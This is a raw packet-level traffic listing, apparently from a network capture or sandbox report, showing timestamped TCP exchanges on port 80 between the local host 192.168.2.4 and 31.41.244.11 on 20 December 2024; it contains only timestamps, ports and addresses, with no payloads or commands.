Dec 20, 2024 07:12:10.784514904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.787470102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.787524939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.787569046 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.787622929 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.790591002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.790642977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.790685892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.790750027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.793680906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.793754101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.793772936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.793831110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.796802998 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.796857119 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.796988964 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.797043085 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.799911022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.799972057 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.800023079 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.800084114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.803029060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.803082943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.803126097 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.803188086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.806106091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.806164980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.806197882 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.806257010 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.809233904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.809309959 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.809367895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.809438944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.812305927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.812412977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.812501907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.812669992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.815453053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.815522909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.815553904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.815614939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.818540096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.818604946 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.818641901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.818701029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.821624994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.821677923 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.821722031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.821780920 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.918345928 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.918390036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.918416023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.918725967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.919692039 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.919747114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.919773102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.919825077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.922324896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.922378063 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.922446966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.922506094 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.925035000 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.925088882 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.925112963 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.925158978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.927755117 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.927812099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.927831888 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.927894115 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.930243969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.930299044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.930336952 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.930387974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.932763100 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.932816029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.932816982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.932867050 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.935247898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.935300112 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.935390949 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.935446024 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.937722921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.937788963 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.937823057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.937881947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.940120935 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.940177917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.940260887 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.940313101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.942452908 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.942507982 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.942552090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.942604065 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.944839001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.944899082 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.944946051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.944991112 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.947139978 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.947205067 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.947254896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.947328091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.949435949 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.949497938 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.949531078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.949584007 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.951720953 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.951792002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.951792002 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.951842070 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.953963995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.954016924 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.954066038 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.954117060 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.956228018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.956284046 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.956315994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.956371069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.958524942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.958575964 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.958621025 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.958672047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.960789919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.960845947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.960901022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.960952997 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.963061094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.963107109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.963156939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.963202000 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.965332031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.965387106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.965492964 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.965543985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.967645884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.967693090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.967773914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.967820883 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.969887018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.969939947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.969989061 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.970047951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.972172976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.972234011 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.972269058 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.972316980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.974421978 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.974474907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.974526882 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.974706888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.976700068 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.976766109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.976810932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.976862907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.978971004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.979026079 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.979075909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.979135990 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.981251955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.981302977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.981343031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.981394053 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.983546972 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.983599901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.983637094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.983689070 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.985794067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.985846996 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.985898972 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.985949039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.988059044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.988114119 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.988178015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.988233089 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.990339994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.990391016 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.990442038 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.990488052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.992629051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.992675066 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.992723942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.992772102 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.994959116 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.995008945 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.995083094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.995131969 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.997174978 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.997231007 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.997334003 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.997380018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.999437094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.999500036 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.999551058 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.999603033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.001715899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.001791954 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.001842022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.001883984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.004002094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.004055023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.004102945 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.004149914 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.006289005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.006340027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.006382942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.006443024 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.008548021 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.008600950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.008651018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.008702040 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.010811090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.010869980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.010920048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.010976076 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.013092041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.013151884 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.013196945 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.013242006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.015374899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.015425920 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.015506029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.015552998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.017637014 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.017693996 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.017746925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.017791033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.019918919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.019989967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.020034075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.020087957 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.022193909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.022244930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.022299051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.022346020 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.024460077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.024503946 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.024506092 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.024558067 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.026828051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.026887894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.026983023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.027033091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.029004097 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.029056072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.029140949 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.029191971 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.031287909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.031336069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.031385899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.031431913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.033557892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.033612013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.033689022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.033864975 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.035968065 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.036026955 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.036081076 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.036128044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.038104057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.038156033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.110724926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.110781908 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.110862017 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.110908031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.111609936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.111670017 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.111762047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.111808062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.113460064 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.113509893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.113605022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.113656044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.115266085 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.115351915 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.115406036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.115453959 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.117108107 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.117167950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.117224932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.117269993 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.118998051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.119056940 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.119151115 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.119263887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.120752096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.120809078 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.120824099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.120870113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.122513056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.122575998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.122628927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.122674942 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.124361038 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.124416113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.124461889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.124504089 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.125951052 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.126054049 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.126061916 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.126117945 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.127639055 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.127696037 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.127793074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.127837896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.129323959 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.129380941 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.129426956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.129482985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.130999088 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.131056070 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.131100893 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.131140947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.132680893 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.132704973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.132728100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.132757902 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.134300947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.134361029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.134423971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.134466887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.135934114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.135982990 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.136068106 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.136116982 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.137520075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.137563944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.137617111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.137658119 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.139118910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.139175892 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.139220953 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.139266014 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.140697956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.140743971 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.140814066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.140856028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.142255068 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.142297029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.142342091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.142385006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.143857956 CET	80	49759	31.41.244.11	192.168.2.4
